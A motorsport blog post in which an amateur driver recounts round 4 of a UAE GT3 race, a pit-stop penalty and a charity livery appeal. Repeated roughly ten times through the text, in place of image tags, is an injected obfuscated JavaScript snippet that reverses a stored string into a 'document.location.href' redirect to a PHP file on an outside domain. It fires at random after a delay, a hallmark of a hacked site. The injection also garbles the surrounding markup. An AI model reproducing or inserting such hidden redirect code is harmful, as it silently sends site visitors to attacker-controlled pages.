Harris Irfan. Drivers Diary. ARM GT3. Rd4

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4182.jpg” width=”728″ />

Though not a fan of the ubiquitous banker-bling Rolex watch, I was recently drawn to a television advert, slicing evocative shots of prototype racers at the Rolex 24 Hours of Daytona, prompting me to reflect on how far we have come regionally. Maybe one day Rolex and others will be interspersing dawn cityscapes of the Sheikh Zayed Road with a battle-scarred DXB Racing LMP1 winning “Dubai Arba’ Wa Ashroon Sa’a”.I’m especially proud of being part of a motorsport scene here in the UAE from which locally based talent was not only able to compete head on against high quality drivers and teams from around the world, but beat them in the recent Dubai 24 Hours.And what really puts the icing on the cake, reminding me we are living through a golden age of motorsport in this country, is the camaraderie and genuine club mentality we still have in the paddock on national race days, even when our race face is on.And so to race day…..www.thecitizensfoundation.org

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4140.jpg” width=”728″ />

I’m pleased to qualify on the row behind Khalid bin Hadher, one of the most aggressive and talented drivers in the UAE, making his debut in GTA in a Porsche Cup car run by Alex Renner Motors (ARM). I’m banking on him getting a good start, and he doesn’t disappoint. As the safety car peels off into the pits and the red lights blank out, his reaction time is Usain Bolt-like, and I’m right with him. We both get the jump on the Cup car in front of him, but then their horsepower advantages leave me trailing into turn 1. Happily, I’ve outdragged the Gulfsport Ginetta (on pole in class), and DXB Racing’s gorgeous Aston Martin AMV8 to my right has not made the best start, so I have the GTB class as we peel into turn 1.

GTB class leader Paul Denby in the ARM-run Khaleeji Motorsport Porsche GT3 has qualified last on the grid due to suspension and ABS problems in qualifying, but the generous loan of a set of Moton dampers from Frederic Gaillard, the driver of the DXB Aston, means that he’s in business. Quite what that business is, we’re not sure. He and ARM have set the car up as a best guess, so he’ll be feeling his way tentatively round the circuit for a while before he can really hit the straps.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd44.jpg” width=”728″ />

Yeah right. He’s on a mission. He gets a jump on most of the back of the grid, squeezing inside the GTA class Renault Megane Trophy against the wall, then back to the centre to block off the number 13 Ginetta and the AUH Racing Aston. By the time he gets to turn 1, he’s despatched Frederic’s DXB Aston who must be ruing the magnanimous loan to his rival.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4141.jpg” width=”728″ />

Meanwhile back in the cobalt blue number 99 Porsche – into the first braking zone, the impressively liveried Abu Dhabi Falcon Racing Cup cars in front of me brake as if they have spotted a camera on a red traffic light, and I stamp on the brakes sooner than I was anticipating. My GT3 stands on its nose and the Gulfsport Ginetta, piloted by 21 year old Robert Cregan, catches me on the brakes. In the ensuing melee of the left-right flick-flack of turns 17 and 18, with Cup cars on cold tyres making themselves alarmingly big as they teeter from apex to apex in front of us, I get held up and Robert expertly and calmly picks his way through the pack and gets a clean entry onto the back straight. For a brief moment, I glance across to see him glide across the rumble strips and enter the back straight with the class lead in hand. I imagine one hand is conducting Mascagni’s Cavalleria Rusticana as he picks off his opponents one by one, whilst simultaneously wondering what’s for lunch. Mmm, chicken and mushroom pie.

Come on, fool. Stop thinking dumb-ass thoughts and get back in this. As the Cup cars deploy their full legion of stallions on the back straight and the Ginetta follows in hot pursuit, I concentrate on keeping the Ginetta in sight. Incredibly, Paul Denby is now sitting inches off my bumper. Game very much on.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4154.jpg” width=”728″ />

This looks to be a repeat of the scrap we had in NRD3. With the suspension and brake issues he’s been having, Paul is finding understeer in the faster corners and a long brake pedal with no feel. However, his brake fault has paradoxically allowed him a faster entry into the off-camber turn 1 as well as the bowl at turn 14, both of which come at the end of high speed straights, forcing him to trail brake heavily to get the car turned in to the apex and gaining yards on me. But he’s compromising exit speed as a result, and I’m gaining on him on the exit. It’s a fascinating battle, as if we’re both connected by a bungee rope, yo-yoing back and forth between corners for the next few laps.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4164.jpg” width=”728″ />

After 15 minutes of feinting to the left and right to fool me into leaving the gate open, I misjudge a couple of corners, and Paul gets a run on me out of turns 9 and 10, a tight right hand hairpin followed by a squirt of throttle and a wider left-hander. He squeezes through on the inside under braking, but his joy is short lived as he makes a similar misjudgement in the left-right flick-flack before the back straight, I catch his slipstream and dart out before the braking zone: I’m back in front.

And then the pit stop. Alex’s voice crackles over the radio and I’m in for my mandatory 90 second stop. Super fast into the pit lane. Stamp on the brakes, down to 60kph for the first white line, down to 40kph as the marshal raises his radar gun at the second white line, punch the button on my stopwatch and roll to a stop in front of the pits. With smoke rising from the brakes I sit in silence and watch the pit crew busy themselves, checking my tyre pressures and counting me down. Hand goes up, 5, 4, 3, 2, 1, a squeal of Dunlops and I’m rolling back out at 40kph.

As I approach the green light at the pit lane exit, the marshal waves his blue flag to denote other cars will be passing me as I make the jump to light speed. For a moment I am distracted and as I look down to my wristwatch to check the time, the seconds jump to 90 at the moment I cross the pit lane traffic light. Phew, that was lucky…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd3/race%20day/UAERacingRd3290.jpg” width=”728″ />

Straight back out, I find myself dicing with Paul again, and I’m still hanging on to P2. Could it be we can take this all the way to the wire? Paul told me afterwards, “From where I was sat, it didn’t look like your tyres were going to last, so I resolved to keep pressuring until something opened up.”

He needn’t have plotted. It seems my own stupidity was to be my own undoing. On the next pass of the pit lane straight, a marshal is holding out a board denoting a drive-through penalty: car number 99. This must be a mistake, right? I radio Alex for confirmation and he concurs that I must come in immediately.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd4165.jpg” width=”728″ />

But what did I do? I’m replaying the last few laps in my mind. Perhaps I jumped a kerb I shouldn’t have, or blocked Paul illegally in some way. It’s possible I might have crossed the green area outside of the track boundary in an isolated incident (perhaps to take avoiding action), but not habitually. Nope, I’m really struggling to recall what the infringement might be. As I drive through the pits at 40kph cursing the seconds ticking away, the ARM pit crew are waving me towards them to stop to check the problem but I figure they’re mistaking my penalty for a technical problem and carry on rolling.

By the time I’m back out, Paul is long gone, the Gulfsport Ginetta is in a different time zone, and the DXB Racing Aston is a corner ahead. I throw caution to the wind and resolve to chase Frederic down, but I’m going to need another 5 laps to challenge for a podium place, and I only have 2 remaining.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd4/UAERacingRd448.jpg” width=”728″ />

And so it ends. The chequered flag and another lonely trek back to the pit garage, where I discover the penalty was for an 89.7 second pitstop. Arse, and indeed, feck.

Now, just to set this into context, let’s all be clear. We lucky sods get to hammer exotic machinery and blub into our Nomex balaclavas if we so much as split a finger nail. So to assuage my guilt at being a bitter prima donna in a world massively less fortunate than us, here’s what I’m going to do next: the number 99 Porsche will for the remainder of this season be liveried in support of The Citizens’ Foundation, an extraordinary professionally managed charity in Pakistan dedicated to providing high quality schooling to the poorest rural and slum communities across Pakistan. Please visit their website at www.thecitizensfoundation.org and make a donation!